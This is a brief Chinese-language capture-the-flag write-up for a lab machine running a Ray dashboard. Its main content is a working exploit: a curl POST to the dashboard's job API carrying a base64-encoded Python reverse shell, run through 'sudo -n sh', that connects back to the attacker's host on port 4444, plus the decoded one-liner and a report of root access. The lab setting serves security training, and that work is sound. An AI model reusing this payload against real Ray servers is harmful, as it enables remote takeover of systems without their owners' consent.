CTF-200-06

简介

point 10

CTF-200-06

Difficulty INTERMEDIATE

rated by community INTERMEDIATE

Part 6 of Labor Day CTF Machine

实验环境

攻击者 Kali 192.168.45.200

受害者 IP 192.168.186.37   Linux

1. 信息收集

收集受害者服务详情

FUZZ和nikto没有什么结果

2. 漏洞发现和利用

在log里面找到了对dashboard的日志

上网查找 发现这是ray dashboard

https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/

尝试一下

curl -X 'POST' 'http://192.168.186.37:52365/api/job_agent/jobs/' -d '{"entrypoint":"echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjguNDUuMjAwIiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKSc=|base64$IFS-d|sudo -n sh"}'

里面的base64编码的是以下部分

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.200",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

Kali监听4444

直接拿到root